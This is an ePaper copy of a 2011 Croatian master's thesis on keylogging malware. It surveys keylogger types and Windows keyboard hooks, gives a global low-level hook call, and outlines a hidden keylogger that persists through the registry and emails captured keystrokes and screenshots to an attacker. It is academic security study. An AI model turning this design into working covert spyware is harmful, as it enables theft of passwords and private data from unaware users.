softvera - FESB
softvera - FESB
softvera - FESB
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
SVEUČILIŠTE U SPLITU<br />
FAKULTET ELEKTROTEHNIKE, STROJARSTVA I<br />
BRODOGRADNJE<br />
DIPLOMSKI RAD<br />
NARUŠAVANJE PRIVATNOSTI I<br />
SIGURNOSTI KORISNIKA PRIMJENOM<br />
MALICIOZNOG "KEYLOGGING"<br />
SOFTVERA<br />
Nikola Žmirić<br />
Split, srpanj 2011.
S V E U Č I L I Š T E U S P L I T U<br />
FAKULTET ELEKTROTEHNIKE, STROJARSTVA I<br />
BRODOGRADNJE<br />
Diplomski studij: Diplomski studij Računarstva<br />
Smjer/Usmjerenje: Računarstvo<br />
Oznaka programa: 250<br />
Akademska godina: 2010./2011.<br />
Ime i prezime: NIKOLA ŢMIRIĆ<br />
Broj indeksa: 790-2009<br />
ZADATAK DIPLOMSKOG RADA<br />
Naslov: NARUŠAVANJE PRIVATNOSTI I SIGURNOSTI KORISNIKA<br />
PRIMJENOM MALICIOZNOG "KEYLOGGING" SOFTVERA<br />
Zadatak: U okviru ovog diplomskog rada zadatak studenta je istraţiti problematiku<br />
privatnosti podataka u računalnom okruţenju s posebnim naglaskom na maliciozne<br />
"keylogging" softvere. Pri tome je potrebno istraţiti mehanizme koje keylogger<br />
koristi za infekciju računala, detekciju pritisnutih tipki i potajan rad. Student će<br />
implementirati vlastitu keylogging aplikaciju koja će rezultate zapisa slati<br />
napadaču putem mreţe. Student će implementiranu "keylogging" aplikaciju<br />
testirati u kontoliranom laboratorijskom okruţenju.<br />
Prijava rada: 28.02.2011.<br />
Rok za predaju rada: 20.09.2011.<br />
Rad predan:<br />
Predsjednik<br />
Odbora za diplomski rad: Mentor:<br />
Dr.sc. Sven Gotovac, red. prof. Dr.sc. Mario Čagalj, izv. prof.
SADRŢAJ:<br />
1. UVOD .................................................................................................................................... 1<br />
2. MALWARE (maliciozni software) ..................................................................................... 2<br />
2.1. Osnovne vrste malware-a .............................................................................................. 2<br />
2.2. Pojam keylogger ............................................................................................................ 3<br />
2.3. Zašto keyloggeri predstavljaju prijetnju? ................................................................... 4<br />
3. VRSTE KEYLOGGERA .................................................................................................... 7<br />
3.1. Softverski keyloggeri ..................................................................................................... 7<br />
3.2. Hardverski keyloggeri ................................................................................................... 8<br />
4. RAD KEYLOGGERA ....................................................................................................... 12<br />
4.1. Windows Hooks ........................................................................................................... 13<br />
4.2. Lanac udica (hook chain) ............................................................................................ 14<br />
4.3. SetWindowsHookEx ..................................................................................................... 15<br />
5. IZRADA KEYLOGGERA ................................................................................................ 16<br />
5.1. Intervalno izvršavanje ................................................................................................. 17<br />
5.2. Klasa Hook.cs ............................................................................................................... 17<br />
5.3. Detekcija prisutnosti korisnika .................................................................................. 20<br />
5.4. Skriveni izbornik ......................................................................................................... 21<br />
5.5. Dodavanje u startup modifikacijom registra ............................................................ 22<br />
5.6. Screenshot..................................................................................................................... 23<br />
5.7. Spremanje podataka.................................................................................................... 23<br />
5.8. Slanje log datoteke e-mailom ...................................................................................... 25<br />
5.9. Brzi prikaz log datoteke .............................................................................................. 26<br />
5.10. Infekcija keyloggerom ............................................................................................... 28<br />
5.11. Primjena keyloggera .................................................................................................. 30<br />
6. ZAŠTITA OD KEYLOGGERA ....................................................................................... 34<br />
7. ZAKLJUČAK ..................................................................................................................... 37<br />
8. LITERATURA ................................................................................................................... 38
1. UVOD<br />
U današnje vrijeme informacijska tehnologija se sve brţe razvija i sve više olakšava ţivot<br />
ljudima. TakoĎer, svakodnevno poslovanje pojedinaca i velikih kompanija je uvelike<br />
olakšano. Uz brojne prednosti koje današnja razina informatizacije nudi potrebno je uočiti da<br />
tok informacija nije u potpunosti siguran. Postoje mnogi načini napada na privatnost i kraĎe<br />
povjerljivih podataka kao i veliki broj zloćudnih programa koji to omogućuju.<br />
U ovom diplomskom radu cilj je predstaviti keyloggere, zloćudne programe koji predstavljaju<br />
veliku prijetnju privatnosti i sigurnosti, a čine to praćenjem korisnikovih unosa znakova na<br />
tipkovnici. Nadalje, bit će opisana izrada jednostavnog keyloggera u kojem će biti<br />
implementirane osnovne funkcionalnosti i metode napada. U prvom poglavlju bit će opisani<br />
glavni predstavnici malware-a (malicioznog <strong>softvera</strong>) kao i sam pojam "keylogger". Drugo<br />
poglavlje će se baviti podjelom keyloggera na softverske i hardverske kao i svakom od<br />
njihovih podvrsta. U trećem poglavlju bit će predstavljeni principi rada svakog keyloggera i<br />
programski mehanizmi koje koriste. Sljedeće poglavlje će dati potpun uvid u postupak izrade<br />
keyloggera. Bit će opisane sve funkcionalnosti te programski kod koji ih omogućava. TakoĎer<br />
će biti opisan i sam princip rada keylogger aplikacije od početne infekcije računala do<br />
uspješne kraĎe povjerljivih podataka. Najčešće metode zaštite korisnika od napada<br />
keylogggerom bit će opisane u završnom poglavlju ovog diplomskog rada.<br />
1
2. MALWARE (maliciozni software)<br />
Pojam malware dolazi od engleskog izraza malicious software (hrv. zloćudni softver) i<br />
označava sve vrste programskih aplikacija koje na bilo koji način mogu ugroziti računalni<br />
sustav i čine to potajno. Najveću opasnost predstavljaju za podatke na računalu ali ponekad<br />
mogu izazvati i fizičku štetu na hardverskim komponentama [1] [2].<br />
Posljednjih godina se moţe zapaziti nagli rast u broju detekcija zloćudnog <strong>softvera</strong> što se<br />
moţe vidjeti na grafu (Slika 2.1.).<br />
Slika 2.1. Broj prikupljenih jedinstvenih uzoraka malware-a od strane<br />
2.1. Osnovne vrste malware-a<br />
Trojanski konji<br />
internet portala AV-Test.org [3]<br />
Ovakvi programi spadaju pod najčešću i najopasniju vrstu malware-a. Trojanski konj se ne<br />
koristi za infekciju i uništavanje datoteka, već se koristi u svrhu kontroliranja ţrtvinog<br />
računala s udaljene lokacije. Trojanski konj se na prvi pogled čini bezopasnim, čak i<br />
korisnim programom kojeg uglavnom korisnik sam pokrene. Nakon pokretanja, odnosno<br />
instalacije takvog programa napadač dobiva pristup računalu, a time i potencijalno, svim<br />
podacima na istome. Za razliku od računalnih virusa i crva, trojanski konj se ne replicira i ne<br />
širi samostalno [1] [2].<br />
2
Virusi<br />
Glavna im je svrha zaraziti računalo modificiranjem postojećih datoteka, replicirati se, te<br />
proširiti na druga računala. Ponašaju se kao pravi paraziti koji trebaju domaćina da bi se<br />
nadalje širili. Glavni medij širenja im je Internet kako bi zarazili što više računala.<br />
Crvi (eng. worms)<br />
Slični su računalnim virusima osim u tome što ne trebaju domaćina da bi zarazili sljedeće<br />
računalo. Crvi se samostalno repliciraju i šalju svoje kopije ostalim računalima na mreţi.<br />
Skoro uvijek uzrokuju neku štetu na mreţi, makar samo zagušenjem. Kompjuterski crvi<br />
predstavljaju ozbiljnu prijetnju velikim računalnim mreţama.<br />
RATS (Remote Access Trojan)<br />
Jedan je od najopasnijih tipova malware-a. Sličan je Trojanskom konju. Po instalaciji RAT-a<br />
na računalo napadač ima potpun nadzor nad sustavom što mu omogućava infekciju lokalnih<br />
datoteka, gašenje računala, instalaciju keyloggera itd.<br />
Adware (Advertisement-supported software)<br />
Glavna im je svrha prikaz oglasa na računalu. MeĎutim, mogu sadrţavati štetne viruse i<br />
programe za špijunaţu.<br />
2.2. Pojam keylogger<br />
Pojam "keylogger" je sam po sebi neutralan i označava funkciju nekog programa. Većina<br />
izvora definira keylogger kao softverski program koji potajno prati i sprema svaki pritisak<br />
tipke na tipkovnici. Takva definicija nije u potpunosti točna zbog toga što keylogger ne mora<br />
biti softverski program, već moţe biti i ureĎaj, odnosno hardverski keylogger (kao što će biti<br />
pokazano poslije). Iako se mnogo rjeĎe koriste, kada se priča o računalnoj sigurnosti vaţno je<br />
istaknuti njihovo postojanje. TakoĎer, funkcionalnosti keyloggera mogu biti (često i jesu)<br />
mnogo veće od jednostavne pohrane pritisnutih tipki. Vrste keyloggera i njihove<br />
funkcionalnosti bit će detaljnije opisane u nastavku ovog diplomskog rada.<br />
Legitimni programi mogu imati keylogging funkcije koje se mogu koristiti pri pozivu nekih<br />
programskih funkcionalnosti koristeći "hotkeys" (prečaci ili kombinacije tipaka). Postoji<br />
3
mnoštvo legitimnog <strong>softvera</strong> koji omogućava administratorima praćenje zaposlenika tijekom<br />
radnog vremena ili korisnicima da prate aktivnosti gostiju na vlastitim računalima. MeĎutim,<br />
tanka je granica izmeĎu opravdanog praćenja i špijunaţe. Legitimni softver se često<br />
zlonamjerno koristi za kraĎu korisnikovih tajnih informacija kao što su lozinke, brojevi<br />
kreditnih kartica, itd.<br />
Većina današnjih keyloggera se smatra legitimnim softverom ili hardverom, te su dostupni za<br />
kupnju na otvorenom trţištu. Razvojni programeri i trgovci softverom nude dug niz svrha u<br />
koje je primjereno koristiti keyloggere:<br />
- Sigurnost poduzeća: praćenje da li se računala koriste u svrhe nepredviĎene opisom<br />
radnog mjesta;<br />
- Sigurnost poduzeća: korištenje keyloggera u svrhu praćenja ključnih riječi i fraza<br />
povezanih s poslovnim tajnama čije bi otkrivanje naškodilo kompaniji;<br />
- Roditeljska kontrola: roditelji mogu pratiti što njihova djeca rade na Internetu, te mogu<br />
biti obaviješteni o pristupu internetskim stranicama s neprikladnim sadrţajem;<br />
- Ljubomorni supruţnici ili partneri mogu koristiti keylogger za praćenje radnji njihove<br />
bolje polovice;<br />
- ProvoĎenje zakona: kao jedna od metoda prikupljanja dokaza pri kriminalnoj istrazi.<br />
Poviše navedeni razlozi za korištenje keyloggera su više subjektivni nego objektivni; sve<br />
navedene situacije se mogu razriješiti drugim metodama. Svaki legitimni keylogging program<br />
se svejedno moţe koristiti sa zlim i kriminalnim namjerama. Danas se keyloggeri poglavito<br />
koriste u takve, zle namjere, da bi se krali korisnički tajni podaci uglavnom vezani za<br />
internetsko plaćanje. Upravo u tu svrhu tvorci zloćudnih programa neprestano pišu nove<br />
keyloggere.<br />
Nadalje, mnogi keyloggeri se skrivaju u računalnom sustavu (rootkit funkcionalnost) što ih<br />
čini punokrvnim trojanskim programima.<br />
2.3. Zašto keyloggeri predstavljaju prijetnju?<br />
Za razliku od ostalih zlonamjernih programa, keyloggeri ne predstavljaju prijetnju<br />
računalnom sustavu. Unatoč tome, velika prijetnja su korisnicima računalnog sustava pošto se<br />
mogu koristiti za presretanje lozinki i ostalih povjerljivih informacija unesenih preko<br />
4
tipkovnice, a i drugih ulaznih ureĎaja. Kao rezultat, cyber kriminalci mogu doći do PIN<br />
kodova i brojeva računa raznih sustava e-plaćanja, lozinki online korisničkih računa, e-mail<br />
adresa itd...<br />
Jednom kad napadač doĎe do povjerljivih korisničkih informacija s lakoćom moţe izvršiti<br />
transfer novca s korisničkog e-računa na svoj. Naţalost, pristup povjerljivim podacima moţe<br />
katkad imati mnogo ozbiljnije i dalekoseţnije posljedice od gubitka novca. Keyloggeri se<br />
mogu koristiti kao alat, kako za industrijsku, tako i za političku špijunaţu i tako dovesti do<br />
otkrivanja tajnih drţavnih informacija što nadalje moţe dovesti do kompromitiranja sigurnosti<br />
drţavnih organizacija (npr. kraĎa privatnih enkripcijskih ključeva).<br />
Na Slici 2.2. je prikazan scenarij napada gdje napadač A (eng. attacker) vrši napad na<br />
korisnike banke - ţrtva, Vi (eng. victim). Da bi zarazio ţrtvu keyloggerom koristi razne<br />
tehnike od slanja spam e-maila sa zloćudnom aplikacijom u privitku, ubacivanja keyloggera<br />
kada ţrtva pristupi zloćudnoj internet stranici do ručne instalacije programa.<br />
Slika 2.2. Prikaz napada na korisnike banke i dohvata povjerljivih podataka [4]<br />
5
Ţrtva sada ima keylogger instaliran na svome računalu koji prati njezine unose znakova sa<br />
tipkovnice. Ţrtva V1 pristupa svom bankovnom računu na stranici internet bankarstva P1<br />
putem mreţe autentifikacijom, odnosno unošenjem povjerljivih podataka putem tipkovnice<br />
(broj bankovnog računa, lozinka itd.). Kada "uhvati" povjerljive podatke keylogger aplikacija<br />
ih šalje napadaču na e-mail ili FTP server (eng. dropzone). Po primanju povjerljivih podataka<br />
napadač ima mogućnost pristupa ţrtvinom bankovnom računu unošenjem istih.<br />
Osim keyloggera najčešće metode koje se koriste pri cyber prijevarama (eng. cyber fraud) su:<br />
- Phishing: vrsta pokušaja dohvata tajnih informacija (npr. korisnička imena, lozinke i<br />
brojevi kreditnih kartica) gdje se napadač pretvara da je legitiman entitet elektroničke<br />
komunikacije. Najčešće se provodi e-mailom i uglavnom navodi korisnike da unesu<br />
svoje informacije na zlonamjernoj internet stranici koja svojim izgledom skoro<br />
identično imitira legitiman internet servis (PayPal, Facebook, Gmail itd.).<br />
- Social engineering: obuhvaća razne metode manipuliranja i varanja korisnika u svrhu<br />
otkrivanja povjerljivih informacija.<br />
Korisnici koji su svjesni sigurnosnih pitanja mogu se lako zaštititi protiv phishing napada tako<br />
da ignoriraju takve e-mailove i ne unose osobne podatke na sumnjivim internet stranicama.<br />
Teţe je, meĎutim, zaštititi se od keyloggera; jedina učinkovita metoda je korištenje<br />
odgovarajuće sigurnosne zaštite u obliku specijaliziranog programa za otkrivanje takvih<br />
prijetnji iz razloga što je nemoguće da korisnik primijeti da je keylogger instaliran na<br />
njegovom računalu.<br />
6
3. VRSTE KEYLOGGERA<br />
Moţe se reći da su keyloggeri softverski ili hardverski entiteti koji obavljaju keylogging<br />
funkciju (eng. keystroke logging). Nadalje, keylogging moţemo definirati kao proces praćenja<br />
(i pohranjivanja) tipki pritisnutih na tipkovnici, u pravilu na tajan način tako da korisnik nije<br />
svjestan da se njegove radnje prate. Postoji velik broj keylogging metoda, od softverskih i<br />
hardverskih, do elektromagnetskih i onih baziranih na zvučnoj analizi...<br />
3.1. Softverski keyloggeri<br />
To su softverski programi dizajnirani za rad na računalu. Oni se izvode skriveni od oka<br />
korisnika i presreću sve pritisnute tipke (eng. keystrokes) na računalu na kojem su pokrenuti.<br />
Nadalje, softverski keylogger u odreĎenim intervalima šalje "uhvaćene" tipke napadaču (e-<br />
mail, FTP server itd.).<br />
Razlikujući ih po njihovoj tehničkoj konstrukciji i načinu rada keyloggere moţemo podijeliti<br />
na pet kategorija [5][6]:<br />
- Hypervisor-based: Keylogger se moţe smjestiti unutar virtualnog računala (eng.<br />
malware hypervisor) gdje se u principu izvodi "ispod" operacijskog sustava, koji pak<br />
ostaje nepromijenjen. Time efektivno postaje virtualni stroj (eng. virtual machine) i ne<br />
nalazi se na samom operativnom sustavu, a upravo to ga čini teškim za pronaći.<br />
- Kernel-based: Ovakvi keyloggeri su veoma efektivni i teški za iskorijeniti. Nalaze se<br />
na razini kernela zbog čega ih je teško detektirati. Često se implementiraju kao<br />
rootkitovi i tako prevare sustav koji ih vidi kao svoj sastavni dio. Kao dio kernela<br />
ovakvi programi nemaju prepreke za pristup svim hardverskim unosima. Često se<br />
implementiraju kao driveri same tipkovnice i time im je direktno dozvoljen pristup<br />
unesenim znakovima čak i prije nego što dospiju do operacijskog sustava. Njihova<br />
kompleksnost ih čini veoma teškim za isprogramirati pa se i rjeĎe koriste.<br />
- API-based: Ovakvi keyloggeri se "zakače" (eng. hook) na API (Application<br />
programming interface) pa ih operacijski sustav obavještava svaki put kad se pritisne<br />
tipka na tipkovnici, a oni nadalje jednostavno pohranjuju te znakove. Koriste se API<br />
funkcije kao što su GetAsyncKeyState(), GetForegroundWindow() za dohvat stanja<br />
7
tipkovnice i pretplatu na dogaĎaje s tipkovnice (eng. keyboard events). Ovakvi<br />
keyloggeri su lakši za isprogramirati od prethodnih pa se i češće koriste.<br />
- Form grabbing based: Keyloggeri bazirani na dohvatu formi prate dogaĎajne funkcije<br />
Internet preglednika (eng. browser event functions) te biljeţe povjerljive informacije<br />
sa predanih web obrazaca. Informacije se biljeţe prije njihove daljnje predaje na<br />
Internet i time se zaobilazi HTTPS enkripcija.<br />
- Packet analyzers: Keyloggeri koji hvataju i analiziraju pakete mreţnog prometa<br />
povezane s HTTP POST dogaĎajima u svrhu dohvata neenkriptiranih lozinki.<br />
Softverski keyloggeri se mogu unaprijediti dodatnim funkcionalnostima kako bi došli do<br />
korisnikovih informacija bez oslanjanja na pritiske tipki sa tipkovnice kao jedini način unosa.<br />
Neke od dodatnih funkcionalnosti:<br />
- Clipboard logging – keylogger hvata sve informacije koje je korisnik kopirao u trenutni<br />
spremnik (eng. clipboard).<br />
- Screen logging (screenshots) – pohranjuje se slika trenutnog stanja na ekranu da bi se<br />
došlo do bilo kakvih grafičkih informacija. Moguće je hvatanje cijelog ekrana, prozora<br />
samo jedne aplikacije ili čak samo područja oko pokazivača miša. Slike se hvataju<br />
periodično ili kao rezultat korisnikovih akcija (npr. klik mišem).<br />
- Hvatanje teksta unutar kontrola – Windows API omogućava dohvat text svojstva nekih<br />
kontrola što znači da je tako moguće doći do lozinki čak i ako su skrivene iza maske<br />
(uglavnom znak asterisk).<br />
- Hvatanje svakog otvorenog programa, foldera ili prozora kao i screenshot svake<br />
posjećene internet stranice.<br />
- Hvatanje upita internet pretraživačima, razgovora instant messenger aplikacija i<br />
ostalih Internet aktivnosti.<br />
3.2. Hardverski keyloggeri<br />
Hardverski keyloggeri nisu ovisni o instaliranom softveru te se nalaze kao ureĎaj u<br />
računalnom sustavu. Najčešće su implementirani kao ureĎaj prispojen izmeĎu tipkovnice i<br />
računala. Oni biljeţe svu aktivnost tipkovnice i spremaju u vlastitu internu memoriju.<br />
8
Hardverski keyloggeri imaju prednost nad softverskim jer su u stanju pratiti aktivnosti od<br />
trena kad je računalo upaljeno i time presresti lozinke za BIOS ili eventualno korišteni<br />
enkripcijski softver.<br />
Svi hardverski keyloggeri imaju sljedeće komponente:<br />
- mikrokontroler: prevodi slijed podataka izmeĎu tipkovnice i računala, obraĎuje ga i<br />
prosljeĎuje svojoj internoj memoriji<br />
- memorijski ureĎaj: najčešće flash memorija u koju se pohranjuju snimljeni podaci;<br />
mogu biti memorijskog kapaciteta od jednog kilobajta do nekoliko megabajta<br />
Moţemo razlikovati sljedeće osnovne tipove hardverskih keyloggera:<br />
- Obični hardverski keylogger: Sklop koji se spaja izmeĎu tipkovnice i računala (Slika<br />
3.1.). Presreće svu aktivnost tipkovnice, odnosno sve pritisnute tipke te ih sprema u<br />
svoju internu memoriju. Ovakav keylogger nije ovisan o trenutnom operacijskom<br />
sustavu stoga ne dolazi u sukob s ijednim programom na računalu i time je nevidljiv<br />
svim specijaliziranim antivirusnim programima.<br />
Slika 3.1. Hardverski keylogger<br />
- Beţični keylogger sniffer: Prikuplja podatkovne pakete koji se odašilju izmeĎu beţične<br />
tipkovnice i njenog prijamnika, te pokušava "probiti" enkripcijski ključ kojim se<br />
osigurava beţična komunikacija izmeĎu ta dva ureĎaja.<br />
- Firmware: BIOS računala je odgovoran za upravljanje dogaĎajima tipkovnice te se<br />
moţe reprogramirati tako da biljeţi sve pritiske tipki i dalje ih obraĎuje. Pošto se<br />
BIOS svakog računala nalazi na postojanom memorijskom ureĎaju takva<br />
implementacija spada pod hardverske keyloggere.<br />
9
- Prekrivanje tipkovnice (eng. keyboard overlay): Laţna tipkovnica se postavlja na<br />
izvornu tipkovnicu tako da svaku pritisnutu tipku registrira i laţna i izvorna tipkovnica<br />
(Slika 3.2.). Često se ovakvim metodama koriste kriminalci za kraĎu PIN-ova<br />
postavljanjem laţnih tipkovnica na bankomate. Laţni ureĎaj je dizajniran tako da<br />
izgleda kao sastavni dio bankomata što ga čini teško primjetnim.<br />
Slika 3.2.Bankomat sa instaliranom lažnom tipkovnicom i bez nje<br />
- Akustični keylogger: Radi na principu pretvaranja zvuka u podatke. Temelji se na<br />
spoznaji da svaka tipka na tipkovnici kada se pritisne proizvodi jedinstven zvuk,<br />
odnosno zvučni uzorak (Slika 3.3.). U tom slučaju oslušni ureĎaj moţe detektirati<br />
blage varijacije pri pritisku različitih tipki na tipkovnici. Ovakav ureĎaj zahtijeva<br />
uzorak od barem tisuću pritisaka tipki da bi proizveo prihvatljive rezultate. Da bi se<br />
ustanovilo koja je tipka pritisnuta koriste se razne statističke metode. Učestalost<br />
ponavljanja sličnih akustičnih karakteristika, vrijeme izmeĎu pritiska dvije različite<br />
tipke, kao i najvjerojatniji jezik u kojem korisnik piše, zajedno doprinosi analizi i<br />
daljnjem mapiranju zvuka u slova.<br />
Slika 3.3. Audio signal pritiska jedne tipke [7]<br />
10
- Elektromagnetske emisije: Moguće je detektirati elektromagnetske emisije koje<br />
proizvodi tipkovnica bez fizičkog kontakta s istom. Ova metoda nije široko<br />
primjenjiva već je pokazala rezultate samo u laboratorijima. Švicarski znanstvenici su<br />
testirali 11 različitih USB, PS/2 i laptop tipkovnica u polugluhoj komori (eng. semi-<br />
anechoic chamber), te pokazali da su sve ranjive na ovu vrstu detekcije. Za detekciju<br />
specifičnih frekvencija emitiranih iz tipkovnica koristi se širokopojasni prijamnik.<br />
- Optičko nadziranje: Iako nije keylogger u uţem smislu riječi, ovakav se pristup<br />
takoĎer moţe pokazati korisnim za dobavljanje lozinki ili PIN brojeva. Primjer sličnog<br />
pristupa je pokazan u praktičnom dijelu ovog diplomskog rada.<br />
11
4. RAD KEYLOGGERA<br />
Glavna ideja iza keyloggera je stati izmeĎu dvije karike u nizu dogaĎaja od trena kada se<br />
tipka na tipkovnici pritisne do prikaza informacije na ekranu. Kako je već opisano, to se moţe<br />
postići bilo video nadzorom, hardverskom modifikacijom same tipkovnice, umetanjem<br />
ureĎaja izmeĎu računala i tipkovnice, modifikacijom drivera, modifikacijom kernela ili pak,<br />
najčešće, zahtijevanjem informacija od tipkovnice koristeći standardne API metode.<br />
Najproširenije metode za praćenje unosa znakova su:<br />
- Sistemska udica (eng. hook) koja korištenjem WinAPI metoda (SetWindowsHook)<br />
presreće dojavu o pritisnutoj tipki<br />
- Ciklički zahtjev tipkovnici (eng. cyclical information keyboard request) za<br />
informacijom o pritisnutoj tipki. Implementirano WinAPI metodama<br />
Get(Async)KeyState ili GetKeyboardState<br />
- Koristeći filter driver za tipkovnicu. Vrsta drivera koji prvi prima informaciju o pritisku<br />
tipke te je dalje prosljeĎuje driverima operacijskog sustava.<br />
Slijedi prikaz različitih vrsta keyloggera ovisno o vrsti implementirane metode rada:<br />
Slika 4.1. Zastupljenost metoda za praćenje unesenih znakova[8]<br />
U zadnje vrijeme sve su više prisutni keyloggeri koji koriste razne metode maskiranja svojih<br />
datoteka da bi izbjegli detekciju. Te metode spadaju pod tzv. rootkit metode, odnosno skup<br />
programa kojima je moguće sakriti datoteke i pokrenute procese od operacijskog sustava.<br />
12
Dvije su glavne rootkit metode:<br />
- maskiranje u korisničkom načinu rada (eng. user mode masking)<br />
- maskiranje u administratorskom načinu rada (eng. kernel mode masking)<br />
Sljedeći graf prikazuje učestalost keyloggera s obzirom na korištenu metodu skrivanja:<br />
Slika 4.2. Zastupljenost metoda za skrivanje [8]<br />
Što je keylogger teţi za isprogramirati i što je teţa metoda koju koristi to je manje zastupljen<br />
pri općoj upotrebi, a više se koristi u specifične svrhe (najčešće ilegalne). Kao što se moţe<br />
vidjeti na grafovima na Slici 4.1. i Slici 4.2. keyloggeri koji koriste filter driver metodu za<br />
"hvatanje" pritisnutih tipki i kernel metodu za skrivanje najrjeĎe se koriste. MeĎutim, upravo<br />
takve keyloggere koriste cyber kriminalci pri specifičnim napadima na velike kompanije.<br />
4.1. Windows Hooks<br />
Windows Hooks (u daljnjem tekstu - udica) je mehanizam unutar Windows API-ja<br />
(application programming interface) pomoću kojega aplikacija moţe presresti sistemske<br />
dogaĎaje (eng. events) prije nego doĎu do ciljne aplikacije. Takvi dogaĎaji uključuju poruke<br />
meĎu procesima, akcije miša i pritiske tipki na tipkovnici. Takav mehanizam moţe reagirati<br />
na dogaĎaje, mijenjati ih ili pak odbaciti. Udice umanjuju performanse sustava jer je potrebna<br />
dodatna procesorska obrada pri svakoj od sistemskih poruka [9].<br />
Udice nude velike mogućnosti: obrada ili izmjena svake sistemske poruke; snimanje ili<br />
reprodukcija dogaĎaja s tipkovnice ili miša; sprječavanje poziva drugih filtara ...<br />
13
Neke od primjena sistemskih udica su:<br />
- Praćenje poruka pri debuggiranju<br />
- Pruţanje podrške za snimanje i reproduciranje makro naredbi<br />
- Pruţanje podrške za help key (F1)<br />
- Simulacija unosa sa miša i tipkovnice<br />
- Implementacija aplikacije za osposobljavanje pomoću računala (eng. computer-based<br />
training, CBT)<br />
U osnovi, postoje dvije vrste udica:<br />
- Globalna udica (eng. Global hook, System-wide Hook): presreće poruke svih aplikacija<br />
u sustavu<br />
- Lokalna udica (eng. Local Hook, Thread-Specific Hook): presreće poruke samo<br />
odreĎenih, unaprijed specificiranih procesa<br />
Funkcije koje primaju dogaĎaje zovu se Hook Procedure i klasificiraju se po vrsti dogaĎaja<br />
koje presreću. Na primjer, hook procedura moţe primati sve dogaĎaje s tipkovnice (pritisak<br />
tipke). Da bi operativni sustav mogao pozvati hook proceduru, ona mora biti instalirana,<br />
odnosno zakačena na udicu. Proces kačenja jedne ili više hook procedura na udicu naziva se<br />
postavljanje udice (eng. setting a hook). Ako udica ima na sebi više od jedne hook procedure,<br />
operativni sustav stvara lanac hook procedura. Posljednje instalirana procedura se nalazi na<br />
početku lanca dok se prva instalirana procedura nalazi na kraju lanca.<br />
Za izmjenu i pristup postojećim udicama, aplikacije koriste SetWindowsHookEx i<br />
UnhookWindowsHookEx API funkcije.<br />
4.2. Lanac udica (hook chain)<br />
Sustav omogućava velik broj različitih vrsta udica. Svaka vrsta omogućava pristup različitom<br />
aspektu mehanizma za upravljanje porukama. Na primjer, aplikacija moţe koristeći<br />
WH_MOUSE udicu pratiti promet poruka miša.<br />
U operativnom sustavu se ostvaruje lanac udica za svaku vrstu udice. Moţe se reći da je lanac<br />
udica u biti, lista pointera na aplikacijski definirane pozivne funkcije – hook procedure.<br />
14
Kad se dogodi poruka asocirana s odreĎenom vrstom udice, sustav prosljeĎuje tu poruku<br />
svakoj od sistemskih udica (hook procedura) koje se nalaze na lancu, od prve prema<br />
posljednjoj [9].<br />
Za instalaciju hook procedure unutar hook lanca koristi se API funkcija SetWindowsHookEx.<br />
Funkcija SetWindowsHookEx uvijek instalira hook proceduru na početak lanca. Kad doĎe do<br />
dogaĎaja kojeg prati udica, sustav poziva proceduru s početka lanca koja je asocirana s<br />
udicom. Svaka hook procedura u lancu odlučuje hoće li proslijediti dogaĎaj sljedećoj<br />
proceduri. Hook procedura prosljeĎuje dogaĎaj sljedećoj proceduri pozivom API funkcije<br />
CallNextHookEx.<br />
4.3. SetWindowsHookEx<br />
Moţe se reći da je funkcija SetWindowsHookEx jedna od najvaţnijih funkcija pri izradi<br />
keyloggera jer omogućava njegovu temeljnu funkcionalnost, a to je registracija svih<br />
pritisnutih tipki tipkovnice. Funkcija SetWindowsHookEx se koristi za instalaciju aplikacijski<br />
definirane hook procedure unutar hook lanca.<br />
Slijedi detaljniji opis sintakse funkcije i prosljeĎenih joj vrijednosti [10].<br />
HHOOK WINAPI SetWindowsHookEx(<br />
__in int idHook,<br />
__in HOOKPROC lpfn,<br />
__in HINSTANCE hMod,<br />
__in DWORD dwThreadId<br />
);<br />
- idHook: Označava vrstu sistemske udice koja se postavlja. U našem slučaju idHook ima<br />
vrijednost 13 što je identifikacijska oznaka za tipkovnicu, odnosno WH_KEYBOARD_LL<br />
- lpfn: Označava pointer na hook proceduru koja preuzima dogaĎaj<br />
- hMod: Označava handle instance aplikacije koja postavlja udicu stoga se vrijednost<br />
postavlja na API.GetModuleHandle(mod.ModuleName)<br />
- dwThreadId: Označava identifikacijsku oznaku trenutnog procesa. Postavljanjem<br />
vrijednosti na 0 udica postaje globalna.<br />
Dakle, konačni poziv funkcije, a time i postavljanje udice izgleda ovako:<br />
API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);<br />
15
5. IZRADA KEYLOGGERA<br />
U sklopu ovog poglavlja bit će prikazan primjer jednostavnog keyloggera. TakoĎer će biti<br />
detaljnije objašnjen proces stvaranja istoga. Nadalje, bit će opisane sve funkcionalnosti i<br />
programski kod koji ih omogućava.<br />
Dakle, cilj je napisati keylogger aplikaciju koja će imati osnovne karakteristike i<br />
funkcionalnosti svakog keyloggera. Keylogger će dohvaćati sve korisnikove unose s<br />
tipkovnice. Aplikacija će biti skrivena od korisnika i pokretat će se pri svakom paljenju<br />
računala. Svi dohvaćeni podaci će se spremati u tekstualnu datoteku čiju lokaciju moţemo<br />
sami odrediti. Dobivena tekstualna datoteka (log file) će se slati e-mailom na ţeljenu e-mail<br />
adresu.<br />
Osim osnovnih funkcionalnosti cilj je implementirati i neke od naprednijih karakteristika koje<br />
keylogger moţe imati.<br />
Osnovne funkcionalnosti koje će biti implementirane:<br />
- skrivanje prisutnosti od korisnika<br />
- hvatanje pritisnutih tipki<br />
- spremanje podataka na ţeljeno mjesto na disku u obliku tekstualnog log fajla<br />
- slanje podataka mailom<br />
- pokretanje pri svakom paljenju računala (modifikacija registra)<br />
Nadalje, u ovoj praktičnoj provedbi izrade keyloggera bit će demonstrirane neke od dodatnih<br />
funkcionalnosti koje keylogger moţe imati:<br />
- skriveni izbornik<br />
- mogućnost detekcije ključnih riječi i djelovanja sukladno tome<br />
- hvatanje slike trenutnog stanja na zaslonu (eng. screenshot) i njezino slanje mailom<br />
- trenutni prikaz uhvaćenog teksta na zaslonu u svrhu eventualnog optičkog nadziranja<br />
- detekcija prisutnosti korisnika<br />
- neprimjetna instalacija<br />
16
5.1. Intervalno izvršavanje<br />
Osim samog praćenja i spremanja pritisnutih tipki osnova svakog keyloggera je upravo<br />
intervalno izvršavanje. Naime, svaka funkcionalnost keyloggera se mora izvršavati u<br />
intervalima. Moguća alternativa je isključivo samo reagiranje na korisnikove akcije.<br />
Sve osnovne funkcije praćenja korisnikovih akcija izvršavaju se u jednakim vremenskim<br />
intervalima.<br />
